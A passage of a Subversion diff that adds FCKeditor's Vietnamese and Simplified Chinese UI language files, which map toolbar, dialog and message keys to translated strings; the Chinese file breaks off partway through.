+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: vi.js
+ * 	Vietnamese language file.
+ * 
+ * File Authors:
+ * 		Phan Binh Giang (bbbgiang@yahoo.com)
+ * 		Hà Thanh Hải (thanhhai.ha@gmail.com)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Thu gọn Thanh công cụ",
+ToolbarExpand		: "Mở rộng Thanh công cụ",
+
+// Toolbar Items and Context Menu
+Save				: "Lưu",
+NewPage				: "Trang mới",
+Preview				: "Xem trước",
+Cut					: "Cắt",
+Copy				: "Sao chép",
+Paste				: "Dán",
+PasteText			: "Dán theo dạng văn bản thuần",
+PasteWord			: "Dán với định dạng Word",
+Print				: "In",
+SelectAll			: "Chọn Tất cả",
+RemoveFormat		: "Xoá Định dạng",
+InsertLinkLbl		: "Liên kết",
+InsertLink			: "Chèn/Sửa Liên kết",
+RemoveLink			: "Xoá Liên kết",
+Anchor				: "Chèn/Sửa Neo",
+InsertImageLbl		: "Hình ảnh",
+InsertImage			: "Chèn/Sửa Hình ảnh",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Chèn/Sửa Flash",
+InsertTableLbl		: "Bảng",
+InsertTable			: "Chèn/Sửa Bảng",
+InsertLineLbl		: "Đường phân cách ngang",
+InsertLine			: "Chèn Đường phân cách ngang",
+InsertSpecialCharLbl: "Ký tự đặc biệt",
+InsertSpecialChar	: "Chèn Ký tự đặc biệt",
+InsertSmileyLbl		: "Hình biểu lộ cảm xúc (mặt cười)",
+InsertSmiley		: "Chèn Hình biểu lộ cảm xúc (mặt cười)",
+About				: "Giới thiệu về FCKeditor",
+Bold				: "Đậm",
+Italic				: "Nghiêng",
+Underline			: "Gạch chân",
+StrikeThrough		: "Gạch xuyên ngang",
+Subscript			: "Chỉ số dưới",
+Superscript			: "Chỉ số trên",
+LeftJustify			: "Canh trái",
+CenterJustify		: "Canh giữa",
+RightJustify		: "Canh phải",
+BlockJustify		: "Canh đều",
+DecreaseIndent		: "Dịch ra ngoài",
+IncreaseIndent		: "Dịch vào trong",
+Undo				: "Khôi phục thao tác",
+Redo				: "Làm lại thao tác",
+NumberedListLbl		: "Danh sách có thứ tự",
+NumberedList		: "Chèn/Xoá Danh sách có thứ tự",
+BulletedListLbl		: "Danh sách không thứ tự",
+BulletedList		: "Chèn/Xoá Danh sách không thứ tự",
+ShowTableBorders	: "Hiển thị Đường viền bảng",
+ShowDetails			: "Hiển thị Chi tiết",
+Style				: "Mẫu",
+FontFormat			: "Định dạng",
+Font				: "Phông",
+FontSize			: "Cỡ chữ",
+TextColor			: "Màu chữ",
+BGColor				: "Màu nền",
+Source				: "Mã HTML",
+Find				: "Tìm kiếm",
+Replace				: "Thay thế",
+SpellCheck			: "Kiểm tra Chính tả",
+UniversalKeyboard	: "Bàn phím Quốc tế",
+PageBreakLbl		: "Ngắt trang",
+PageBreak			: "Chèn Ngắt trang",
+
+Form			: "Biểu mẫu",
+Checkbox		: "Nút kiểm",
+RadioButton		: "Nút chọn",
+TextField		: "Trường văn bản",
+Textarea		: "Vùng văn bản",
+HiddenField		: "Trường ẩn",
+Button			: "Nút",
+SelectionField	: "Ô chọn",
+ImageButton		: "Nút hình ảnh",
+
+FitWindow		: "Mở rộng tối đa kích thước trình biên tập",
+
+// Context Menu
+EditLink			: "Sửa Liên kết",
+CellCM				: "Ô",
+RowCM				: "Hàng",
+ColumnCM			: "Cột",
+InsertRow			: "Chèn Hàng",
+DeleteRows			: "Xoá Hàng",
+InsertColumn		: "Chèn Cột",
+DeleteColumns		: "Xoá Cột",
+InsertCell			: "Chèn Ô",
+DeleteCells			: "Xoá Ô",
+MergeCells			: "Trộn Ô",
+SplitCell			: "Chia Ô",
+TableDelete			: "Xóa Bảng",
+CellProperties		: "Thuộc tính Ô",
+TableProperties		: "Thuộc tính Bảng",
+ImageProperties		: "Thuộc tính Hình ảnh",
+FlashProperties		: "Thuộc tính Flash",
+
+AnchorProp			: "Thuộc tính Neo",
+ButtonProp			: "Thuộc tính Nút",
+CheckboxProp		: "Thuộc tính Nút kiểm",
+HiddenFieldProp		: "Thuộc tính Trường ẩn",
+RadioButtonProp		: "Thuộc tính Nút chọn",
+ImageButtonProp		: "Thuộc tính Nút hình ảnh",
+TextFieldProp		: "Thuộc tính Trường văn bản",
+SelectionFieldProp	: "Thuộc tính Ô chọn",
+TextareaProp		: "Thuộc tính Vùng văn bản",
+FormProp			: "Thuộc tính Biểu mẫu",
+
+FontFormats			: "Normal;Formatted;Address;Heading 1;Heading 2;Heading 3;Heading 4;Heading 5;Heading 6;Normal (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "Đang xử lý XHTML. Vui lòng đợi trong giây lát...",
+Done				: "Đã hoàn thành",
+PasteWordConfirm	: "Văn bản bạn muốn dán có kèm định dạng của Word. Bạn có muốn loại bỏ định dạng Word trước khi dán?",
+NotCompatiblePaste	: "Lệnh này chỉ được hỗ trợ từ trình duyệt Internet Explorer phiên bản 5.5 hoặc mới hơn. Bạn có muốn dán nguyên mẫu?",
+UnknownToolbarItem	: "Không rõ mục trên thanh công cụ \"%1\"",
+UnknownCommand		: "Không rõ lệnh \"%1\"",
+NotImplemented		: "Lệnh không được thực hiện",
+UnknownToolbarSet	: "Thanh công cụ \"%1\" không tồn tại",
+NoActiveX			: "Các thiết lập bảo mật của trình duyệt có thể giới hạn một số chức năng của trình biên tập. Bạn phải bật tùy chọn \"Run ActiveX controls and plug-ins\". Bạn có thể gặp một số lỗi và thấy thiếu đi một số chức năng.",
+BrowseServerBlocked : "Không thể mở được bộ duyệt tài nguyên. Hãy đảm bảo chức năng chặn popup đã bị vô hiệu hóa.",
+DialogBlocked		: "Không thể mở được cửa sổ hộp thoại. Hãy đảm bảo chức năng chặn popup đã bị vô hiệu hóa.",
+
+// Dialogs
+DlgBtnOK			: "Đồng ý",
+DlgBtnCancel		: "Bỏ qua",
+DlgBtnClose			: "Đóng",
+DlgBtnBrowseServer	: "Duyệt trên máy chủ",
+DlgAdvancedTag		: "Mở rộng",
+DlgOpOther			: "<Khác>",
+DlgInfoTab			: "Thông tin",
+DlgAlertUrl			: "Hãy nhập vào một URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<không thiết lập>",
+DlgGenId			: "Định danh",
+DlgGenLangDir		: "Đường dẫn Ngôn ngữ",
+DlgGenLangDirLtr	: "Trái sang Phải (LTR)",
+DlgGenLangDirRtl	: "Phải sang Trái (RTL)",
+DlgGenLangCode		: "Mã Ngôn ngữ",
+DlgGenAccessKey		: "Phím Hỗ trợ truy cập",
+DlgGenName			: "Tên",
+DlgGenTabIndex		: "Chỉ số của Tab",
+DlgGenLongDescr		: "Mô tả URL",
+DlgGenClass			: "Lớp Stylesheet",
+DlgGenTitle			: "Advisory Title",
+DlgGenContType		: "Advisory Content Type",
+DlgGenLinkCharset	: "Bảng mã của tài nguyên được liên kết đến",
+DlgGenStyle			: "Mẫu",
+
+// Image Dialog
+DlgImgTitle			: "Thuộc tính Hình ảnh",
+DlgImgInfoTab		: "Thông tin Hình ảnh",
+DlgImgBtnUpload		: "Tải lên Máy chủ",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Tải lên",
+DlgImgAlt			: "Chú thích Hình ảnh",
+DlgImgWidth			: "Rộng",
+DlgImgHeight		: "Cao",
+DlgImgLockRatio		: "Giữ tỷ lệ",
+DlgBtnResetSize		: "Kích thước gốc",
+DlgImgBorder		: "Đường viền",
+DlgImgHSpace		: "HSpace",
+DlgImgVSpace		: "VSpace",
+DlgImgAlign			: "Vị trí",
+DlgImgAlignLeft		: "Trái",
+DlgImgAlignAbsBottom: "Dưới tuyệt đối",
+DlgImgAlignAbsMiddle: "Giữa tuyệt đối",
+DlgImgAlignBaseline	: "Baseline",
+DlgImgAlignBottom	: "Dưới",
+DlgImgAlignMiddle	: "Giữa",
+DlgImgAlignRight	: "Phải",
+DlgImgAlignTextTop	: "Phía trên chữ",
+DlgImgAlignTop		: "Trên",
+DlgImgPreview		: "Xem trước",
+DlgImgAlertUrl		: "Hãy đưa vào URL của hình ảnh",
+DlgImgLinkTab		: "Liên kết",
+
+// Flash Dialog
+DlgFlashTitle		: "Thuộc tính Flash",
+DlgFlashChkPlay		: "Tự động chạy",
+DlgFlashChkLoop		: "Lặp",
+DlgFlashChkMenu		: "Cho phép bật Menu của Flash",
+DlgFlashScale		: "Tỷ lệ",
+DlgFlashScaleAll	: "Hiển thị tất cả",
+DlgFlashScaleNoBorder	: "Không đường viền",
+DlgFlashScaleFit	: "Vừa vặn",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Liên kết",
+DlgLnkInfoTab		: "Thông tin Liên kết",
+DlgLnkTargetTab		: "Đích",
+
+DlgLnkType			: "Kiểu Liên kết",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Neo trong trang này",
+DlgLnkTypeEMail		: "Thư điện tử",
+DlgLnkProto			: "Giao thức",
+DlgLnkProtoOther	: "<khác>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Chọn một Neo",
+DlgLnkAnchorByName	: "Theo Tên Neo",
+DlgLnkAnchorById	: "Theo Định danh Element",
+DlgLnkNoAnchors		: "<Không có Neo nào trong tài liệu>",
+DlgLnkEMail			: "Thư điện tử",
+DlgLnkEMailSubject	: "Tiêu đề Thông điệp",
+DlgLnkEMailBody		: "Nội dung Thông điệp",
+DlgLnkUpload		: "Tải lên",
+DlgLnkBtnUpload		: "Tải lên Máy chủ",
+
+DlgLnkTarget		: "Đích",
+DlgLnkTargetFrame	: "<khung>",
+DlgLnkTargetPopup	: "<cửa sổ popup>",
+DlgLnkTargetBlank	: "Cửa sổ mới (_blank)",
+DlgLnkTargetParent	: "Cửa sổ cha (_parent)",
+DlgLnkTargetSelf	: "Cùng cửa sổ (_self)",
+DlgLnkTargetTop		: "Cửa sổ trên cùng(_top)",
+DlgLnkTargetFrameName	: "Tên Khung đích",
+DlgLnkPopWinName	: "Tên Cửa sổ Popup",
+DlgLnkPopWinFeat	: "Đặc điểm của Cửa sổ Popup",
+DlgLnkPopResize		: "Kích thước thay đổi",
+DlgLnkPopLocation	: "Thanh vị trí",
+DlgLnkPopMenu		: "Thanh Menu",
+DlgLnkPopScroll		: "Thanh cuộn",
+DlgLnkPopStatus		: "Thanh trạng thái",
+DlgLnkPopToolbar	: "Thanh công cụ",
+DlgLnkPopFullScrn	: "Toàn màn hình (IE)",
+DlgLnkPopDependent	: "Phụ thuộc (Netscape)",
+DlgLnkPopWidth		: "Rộng",
+DlgLnkPopHeight		: "Cao",
+DlgLnkPopLeft		: "Vị trí Trái",
+DlgLnkPopTop		: "Vị trí Trên",
+
+DlnLnkMsgNoUrl		: "Hãy đưa vào Liên kết URL",
+DlnLnkMsgNoEMail	: "Hãy đưa vào địa chỉ thư điện tử",
+DlnLnkMsgNoAnchor	: "Hãy chọn một Neo",
+DlnLnkMsgInvPopName	: "Tên của cửa sổ Popup phải bắt đầu bằng một ký tự và không được chứa khoảng trắng",
+
+// Color Dialog
+DlgColorTitle		: "Chọn màu",
+DlgColorBtnClear	: "Xoá",
+DlgColorHighlight	: "Tô sáng",
+DlgColorSelected	: "Đã chọn",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Chèn Hình biểu lộ cảm xúc (mặt cười)",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Hãy chọn Ký tự đặc biệt",
+
+// Table Dialog
+DlgTableTitle		: "Thuộc tính bảng",
+DlgTableRows		: "Hàng",
+DlgTableColumns		: "Cột",
+DlgTableBorder		: "Cỡ Đường viền",
+DlgTableAlign		: "Canh lề",
+DlgTableAlignNotSet	: "<Chưa thiết lập>",
+DlgTableAlignLeft	: "Trái",
+DlgTableAlignCenter	: "Giữa",
+DlgTableAlignRight	: "Phải",
+DlgTableWidth		: "Rộng",
+DlgTableWidthPx		: "điểm (px)",
+DlgTableWidthPc		: "%",
+DlgTableHeight		: "Cao",
+DlgTableCellSpace	: "Khoảng cách Ô",
+DlgTableCellPad		: "Đệm Ô",
+DlgTableCaption		: "Đầu đề",
+DlgTableSummary		: "Tóm lược",
+
+// Table Cell Dialog
+DlgCellTitle		: "Thuộc tính Ô",
+DlgCellWidth		: "Rộng",
+DlgCellWidthPx		: "điểm (px)",
+DlgCellWidthPc		: "%",
+DlgCellHeight		: "Cao",
+DlgCellWordWrap		: "Bọc từ",
+DlgCellWordWrapNotSet	: "<Chưa thiết lập>",
+DlgCellWordWrapYes	: "Đồng ý",
+DlgCellWordWrapNo	: "Không",
+DlgCellHorAlign		: "Canh theo Chiều ngang",
+DlgCellHorAlignNotSet	: "<Chưa thiết lập>",
+DlgCellHorAlignLeft	: "Trái",
+DlgCellHorAlignCenter	: "Giữa",
+DlgCellHorAlignRight: "Phải",
+DlgCellVerAlign		: "Canh theo Chiều dọc",
+DlgCellVerAlignNotSet	: "<Chưa thiết lập>",
+DlgCellVerAlignTop	: "Trên",
+DlgCellVerAlignMiddle	: "Giữa",
+DlgCellVerAlignBottom	: "Dưới",
+DlgCellVerAlignBaseline	: "Baseline",
+DlgCellRowSpan		: "Nối Hàng",
+DlgCellCollSpan		: "Nối Cột",
+DlgCellBackColor	: "Màu nền",
+DlgCellBorderColor	: "Màu viền",
+DlgCellBtnSelect	: "Chọn...",
+
+// Find Dialog
+DlgFindTitle		: "Tìm kiếm",
+DlgFindFindBtn		: "Tìm kiếm",
+DlgFindNotFoundMsg	: "Không tìm thấy chuỗi cần tìm.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Thay thế",
+DlgReplaceFindLbl		: "Tìm chuỗi:",
+DlgReplaceReplaceLbl	: "Thay bằng:",
+DlgReplaceCaseChk		: "Phân biệt chữ hoa/thường",
+DlgReplaceReplaceBtn	: "Thay thế",
+DlgReplaceReplAllBtn	: "Thay thế Tất cả",
+DlgReplaceWordChk		: "Đúng toàn bộ từ",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Các thiết lập bảo mật của trình duyệt không cho phép trình biên tập tự động thực thi lệnh dán. Hãy sử dụng bàn phím cho lệnh này (Ctrl+V).",
+PasteErrorCut	: "Các thiết lập bảo mật của trình duyệt không cho phép trình biên tập tự động thực thi lệnh cắt. Hãy sử dụng bàn phím cho lệnh này (Ctrl+X).",
+PasteErrorCopy	: "Các thiết lập bảo mật của trình duyệt không cho phép trình biên tập tự động thực thi lệnh sao chép. Hãy sử dụng bàn phím cho lệnh này (Ctrl+C).",
+
+PasteAsText		: "Dán theo định dạng văn bản thuần",
+PasteFromWord	: "Dán với định dạng Word",
+
+DlgPasteMsg2	: "Hãy dán nội dung vào trong khung bên dưới, sử dụng tổ hợp phím (<STRONG>Ctrl+V</STRONG>) và nhấn vào nút <STRONG>Đồng ý</STRONG>.",
+DlgPasteIgnoreFont		: "Chấp nhận các định dạng phông",
+DlgPasteRemoveStyles	: "Gỡ bỏ các định dạng Styles",
+DlgPasteCleanBox		: "Xóa nội dung",
+
+// Color Picker
+ColorAutomatic	: "Tự động",
+ColorMoreColors	: "Màu khác...",
+
+// Document Properties
+DocProps		: "Thuộc tính Tài liệu",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Thuộc tính Neo",
+DlgAnchorName		: "Tên của Neo",
+DlgAnchorErrorName	: "Hãy đưa vào tên của Neo",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Không có trong từ điển",
+DlgSpellChangeTo		: "Chuyển thành",
+DlgSpellBtnIgnore		: "Bỏ qua",
+DlgSpellBtnIgnoreAll	: "Bỏ qua Tất cả",
+DlgSpellBtnReplace		: "Thay thế",
+DlgSpellBtnReplaceAll	: "Thay thế Tất cả",
+DlgSpellBtnUndo			: "Phục hồi lại",
+DlgSpellNoSuggestions	: "- Không đưa ra gợi ý về từ -",
+DlgSpellProgress		: "Đang tiến hành kiểm tra chính tả...",
+DlgSpellNoMispell		: "Hoàn tất kiểm tra chính tả: Không có lỗi chính tả",
+DlgSpellNoChanges		: "Hoàn tất kiểm tra chính tả: Không có từ nào được thay đổi",
+DlgSpellOneChange		: "Hoàn tất kiểm tra chính tả: Một từ đã được thay đổi",
+DlgSpellManyChanges		: "Hoàn tất kiểm tra chính tả: %1 từ đã được thay đổi",
+
+IeSpellDownload			: "Chức năng kiểm tra chính tả chưa được cài đặt. Bạn có muốn tải về ngay bây giờ?",
+
+// Button Dialog
+DlgButtonText		: "Chuỗi hiển thị (Giá trị)",
+DlgButtonType		: "Kiểu",
+DlgButtonTypeBtn	: "Nút Bấm",
+DlgButtonTypeSbm	: "Nút Gửi",
+DlgButtonTypeRst	: "Nút Nhập lại",
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Tên",
+DlgCheckboxValue	: "Giá trị",
+DlgCheckboxSelected	: "Được chọn",
+
+// Form Dialog
+DlgFormName		: "Tên",
+DlgFormAction	: "Hành động",
+DlgFormMethod	: "Phương thức",
+
+// Select Field Dialog
+DlgSelectName		: "Tên",
+DlgSelectValue		: "Giá trị",
+DlgSelectSize		: "Kích cỡ",
+DlgSelectLines		: "dòng",
+DlgSelectChkMulti	: "Cho phép chọn nhiều",
+DlgSelectOpAvail	: "Các tùy chọn có thể sử dụng",
+DlgSelectOpText		: "Văn bản",
+DlgSelectOpValue	: "Giá trị",
+DlgSelectBtnAdd		: "Thêm",
+DlgSelectBtnModify	: "Thay đổi",
+DlgSelectBtnUp		: "Lên",
+DlgSelectBtnDown	: "Xuống",
+DlgSelectBtnSetValue : "Giá trị được chọn",
+DlgSelectBtnDelete	: "Xoá",
+
+// Textarea Dialog
+DlgTextareaName	: "Tên",
+DlgTextareaCols	: "Cột",
+DlgTextareaRows	: "Hàng",
+
+// Text Field Dialog
+DlgTextName			: "Tên",
+DlgTextValue		: "Giá trị",
+DlgTextCharWidth	: "Rộng",
+DlgTextMaxChars		: "Số Ký tự tối đa",
+DlgTextType			: "Kiểu",
+DlgTextTypeText		: "Ký tự",
+DlgTextTypePass		: "Mật khẩu",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Tên",
+DlgHiddenValue	: "Giá trị",
+
+// Bulleted List Dialog
+BulletedListProp	: "Thuộc tính Danh sách không thứ tự",
+NumberedListProp	: "Thuộc tính Danh sách có thứ tự",
+DlgLstStart			: "Bắt đầu",
+DlgLstType			: "Kiểu",
+DlgLstTypeCircle	: "Hình tròn",
+DlgLstTypeDisc		: "Hình đĩa",
+DlgLstTypeSquare	: "Hình vuông",
+DlgLstTypeNumbers	: "Số thứ tự (1, 2, 3)",
+DlgLstTypeLCase		: "Chữ cái thường (a, b, c)",
+DlgLstTypeUCase		: "Chữ cái hoa (A, B, C)",
+DlgLstTypeSRoman	: "Số La Mã thường (i, ii, iii)",
+DlgLstTypeLRoman	: "Số La Mã hoa (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Toàn thể",
+DlgDocBackTab		: "Nền",
+DlgDocColorsTab		: "Màu sắc và Đường biên",
+DlgDocMetaTab		: "Siêu dữ liệu",
+
+DlgDocPageTitle		: "Tiêu đề Trang",
+DlgDocLangDir		: "Đường dẫn Ngôn ngữ",
+DlgDocLangDirLTR	: "Trái sang Phải (LTR)",
+DlgDocLangDirRTL	: "Phải sang Trái (RTL)",
+DlgDocLangCode		: "Mã Ngôn ngữ",
+DlgDocCharSet		: "Bảng mã ký tự",
+DlgDocCharSetCE		: "Trung Âu",
+DlgDocCharSetCT		: "Tiếng Trung Quốc (Big5)",
+DlgDocCharSetCR		: "Tiếng Kirin",
+DlgDocCharSetGR		: "Tiếng Hy Lạp",
+DlgDocCharSetJP		: "Tiếng Nhật",
+DlgDocCharSetKR		: "Tiếng Hàn",
+DlgDocCharSetTR		: "Tiếng Thổ Nhĩ Kỳ",
+DlgDocCharSetUN		: "Unicode (UTF-8)",
+DlgDocCharSetWE		: "Tây Âu",
+DlgDocCharSetOther	: "Bảng mã ký tự khác",
+
+DlgDocDocType		: "Kiểu Đề mục Tài liệu",
+DlgDocDocTypeOther	: "Kiểu Đề mục Tài liệu khác",
+DlgDocIncXHTML		: "Bao gồm cả định nghĩa XHTML",
+DlgDocBgColor		: "Màu nền",
+DlgDocBgImage		: "URL của Hình ảnh nền",
+DlgDocBgNoScroll	: "Không cuộn nền",
+DlgDocCText			: "Văn bản",
+DlgDocCLink			: "Liên kết",
+DlgDocCVisited		: "Liên kết Đã ghé thăm",
+DlgDocCActive		: "Liên kết Hiện hành",
+DlgDocMargins		: "Đường biên của Trang",
+DlgDocMaTop			: "Trên",
+DlgDocMaLeft		: "Trái",
+DlgDocMaRight		: "Phải",
+DlgDocMaBottom		: "Dưới",
+DlgDocMeIndex		: "Các từ khóa chỉ mục tài liệu (phân cách bởi dấu phẩy)",
+DlgDocMeDescr		: "Mô tả tài liệu",
+DlgDocMeAuthor		: "Tác giả",
+DlgDocMeCopy		: "Bản quyền",
+DlgDocPreview		: "Xem trước",
+
+// Templates Dialog
+Templates			: "Mẫu dựng sẵn",
+DlgTemplatesTitle	: "Nội dung Mẫu dựng sẵn",
+DlgTemplatesSelMsg	: "Hãy chọn Mẫu dựng sẵn để mở trong trình biên tập<br>(nội dung hiện tại sẽ bị mất):",
+DlgTemplatesLoading	: "Đang nạp Danh sách Mẫu dựng sẵn. Vui lòng đợi trong giây lát...",
+DlgTemplatesNoTpl	: "(Không có Mẫu dựng sẵn nào được định nghĩa)",
+DlgTemplatesReplace	: "Thay thế nội dung hiện tại",
+
+// About Dialog
+DlgAboutAboutTab	: "Giới thiệu",
+DlgAboutBrowserInfoTab	: "Thông tin trình duyệt",
+DlgAboutLicenseTab	: "Giấy phép",
+DlgAboutVersion		: "phiên bản",
+DlgAboutLicense		: "Được cấp phép theo các điều khoản của giấy phép GNU Lesser General Public License",
+DlgAboutInfo		: "Để biết thêm thông tin, hãy truy cập"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/zh-cn.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/zh-cn.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/zh-cn.js	(revision 44)
@@ -0,0 +1,501 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: zh-cn.js
+ * 	Chinese Simplified language file.
+ * 
+ * File Authors:
+ * 		NetRube (NetRube@gmail.com)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "折叠工具栏",
+ToolbarExpand		: "展开工具栏",
+
+// Toolbar Items and Context Menu
+Save				: "保存",
+NewPage				: "新建",
+Preview				: "预览",
+Cut					: "剪切",
+Copy				: "复制",
+Paste				: "粘贴",
+PasteText			: "粘贴为无格式文本",
+PasteWord			: "从 MS Word 粘贴",
+Print				: "打印",
+SelectAll			: "全选",
+RemoveFormat		: "清除格式",
+InsertLinkLbl		: "超链接",
+InsertLink			: "插入/编辑超链接",
+RemoveLink			: "取消超链接",
+Anchor				: "插入/编辑锚点链接",
+InsertImageLbl		: "图象",
+InsertImage			: "插入/编辑图象",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "插入/编辑 Flash",
+InsertTableLbl		: "表格",
+InsertTable			: "插入/编辑表格",
+InsertLineLbl		: "水平线",
+InsertLine			: "插入水平线",
+InsertSpecialCharLbl: "特殊符号",
+InsertSpecialChar	: "插入特殊符号",
+InsertSmileyLbl		: "表情符",
+InsertSmiley		: "插入表情图标",
+About				: "关于 FCKeditor",
+Bold				: "加粗",
+Italic				: "倾斜",
+Underline			: "下划线",
+StrikeThrough		: "删除线",
+Subscript			: "下标",
+Superscript			: "上标",
+LeftJustify			: "左对齐",
+CenterJustify		: "居中对齐",
+RightJustify		: "右对齐",
+BlockJustify		: "两端对齐",
+DecreaseIndent		: "减少缩进量",
+IncreaseIndent		: "增加缩进量",
+Undo				: "撤消",
+Redo				: "重做",
+NumberedListLbl		: "编号列表",
+NumberedList		: "插入/删除编号列表",
+BulletedListLbl		: "项目列表",
+BulletedList		: "插入/删除项目列表",
+ShowTableBorders	: "显示表格边框",
+ShowDetails			: "显示详细资料",
+Style				: "样式",
+FontFormat			: "格式",
+Font				: "字体",
+FontSize			: "大小",
+TextColor			: "文本颜色",
+BGColor				: "背景颜色",
+Source				: "源代码",
+Find				: "查找",
+Replace				: "替换",
+SpellCheck			: "拼写检查",
+UniversalKeyboard	: "软键盘",
+PageBreakLbl		: "分页符",
+PageBreak			: "插入分页符",
+
+Form			: "表单",
+Checkbox		: "复选框",
+RadioButton		: "单选按钮",
+TextField		: "单行文本",
+Textarea		: "多行文本",
+HiddenField		: "隐藏域",
+Button			: "按钮",
+SelectionField	: "列表/菜单",
+ImageButton		: "图像域",
+
+FitWindow		: "全屏编辑",
+
+// Context Menu
+EditLink			: "编辑超链接",
+CellCM				: "单元格",
+RowCM				: "行",
+ColumnCM			: "列",
+InsertRow			: "插入行",
+DeleteRows			: "删除行",
+InsertColumn		: "插入列",
+DeleteColumns		: "删除列",
+InsertCell			: "插入单元格",
+DeleteCells			: "删除单元格",
+MergeCells			: "合并单元格",
+SplitCell			: "拆分单元格",
+TableDelete			: "删除表格",
+CellProperties		: "单元格属性",
+TableProperties		: "表格属性",
+ImageProperties		: "图象属性",
+FlashProperties		: "Flash 属性",
+
+AnchorProp			: "锚点链接属性",
+ButtonProp			: "按钮属性",
+CheckboxProp		: "复选框属性",
+HiddenFieldProp		: "隐藏域属性",
+RadioButtonProp		: "单选按钮属性",
+ImageButtonProp		: "图像域属性",
+TextFieldProp		: "单行文本属性",
+SelectionFieldProp	: "菜单/列表属性",
+TextareaProp		: "多行文本属性",
+FormProp			: "表单属性",
+
+FontFormats			: "普通;已编排格式;地址;标题 1;标题 2;标题 3;标题 4;标题 5;标题 6;段落(DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "正在处理 XHTML，请稍等...",
+Done				: "完成",
+PasteWordConfirm	: "您要粘贴的内容好像是来自 MS Word，是否要清除 MS Word 格式后再粘贴？",
+NotCompatiblePaste	: "该命令需要 Internet Explorer 5.5 或更高版本的支持，是否按常规粘贴进行？",
+UnknownToolbarItem	: "未知工具栏项目 \"%1\"",
+UnknownCommand		: "未知命令名称 \"%1\"",
+NotImplemented		: "命令无法执行",
+UnknownToolbarSet	: "工具栏设置 \"%1\" 不存在",
+NoActiveX			: "浏览器安全设置限制了本编辑器的某些功能。您必须启用安全设置中的“运行 ActiveX 控件和插件”，否则将出现某些错误并缺少功能。",
+BrowseServerBlocked : "无法打开资源浏览器，请确认是否启用了禁止弹出窗口。",
+DialogBlocked		: "无法打开对话框窗口，请确认是否启用了禁止弹出窗口或网页对话框（IE）。",
+
+// Dialogs
+DlgBtnOK			: "确定",
+DlgBtnCancel		: "取消",
+DlgBtnClose			: "关闭",
+DlgBtnBrowseServer	: "浏览服务器",
+DlgAdvancedTag		: "高级",
+DlgOpOther			: "<其它>",
+DlgInfoTab			: "信息",
+DlgAlertUrl			: "请插入 URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<没有设置>",
+DlgGenId			: "ID",
+DlgGenLangDir		: "语言方向",
+DlgGenLangDirLtr	: "从左到右 (LTR)",
+DlgGenLangDirRtl	: "从右到左 (RTL)",
+DlgGenLangCode		: "语言代码",
+DlgGenAccessKey		: "访问键",
+DlgGenName			: "名称",
+DlgGenTabIndex		: "Tab 键次序",
+DlgGenLongDescr		: "详细说明地址",
+DlgGenClass			: "样式类名称",
+DlgGenTitle			: "标题",
+DlgGenContType		: "内容类型",
+DlgGenLinkCharset	: "字符编码",
+DlgGenStyle			: "行内样式",
+
+// Image Dialog
+DlgImgTitle			: "图象属性",
+DlgImgInfoTab		: "图象",
+DlgImgBtnUpload		: "发送到服务器上",
+DlgImgURL			: "源文件",
+DlgImgUpload		: "上传",
+DlgImgAlt			: "替换文本",
+DlgImgWidth			: "宽度",
+DlgImgHeight		: "高度",
+DlgImgLockRatio		: "锁定比例",
+DlgBtnResetSize		: "恢复尺寸",
+DlgImgBorder		: "边框大小",
+DlgImgHSpace		: "水平间距",
+DlgImgVSpace		: "垂直间距",
+DlgImgAlign			: "对齐方式",
+DlgImgAlignLeft		: "左对齐",
+DlgImgAlignAbsBottom: "绝对底边",
+DlgImgAlignAbsMiddle: "绝对居中",
+DlgImgAlignBaseline	: "基线",
+DlgImgAlignBottom	: "底边",
+DlgImgAlignMiddle	: "居中",
+DlgImgAlignRight	: "右对齐",
+DlgImgAlignTextTop	: "文本上方",
+DlgImgAlignTop		: "顶端",
+DlgImgPreview		: "预览",
+DlgImgAlertUrl		: "请输入图象地址",
+DlgImgLinkTab		: "链接",
+
+// Flash Dialog
+DlgFlashTitle		: "Flash 属性",
+DlgFlashChkPlay		: "自动播放",
+DlgFlashChkLoop		: "循环",
+DlgFlashChkMenu		: "启用 Flash 菜单",
+DlgFlashScale		: "缩放",
+DlgFlashScaleAll	: "全部显示",
+DlgFlashScaleNoBorder	: "无边框",
+DlgFlashScaleFit	: "严格匹配",
+
+// Link Dialog
+DlgLnkWindowTitle	: "超链接",
+DlgLnkInfoTab		: "超链接信息",
+DlgLnkTargetTab		: "目标",
+
+DlgLnkType			: "超链接类型",
+DlgLnkTypeURL		: "超链接",
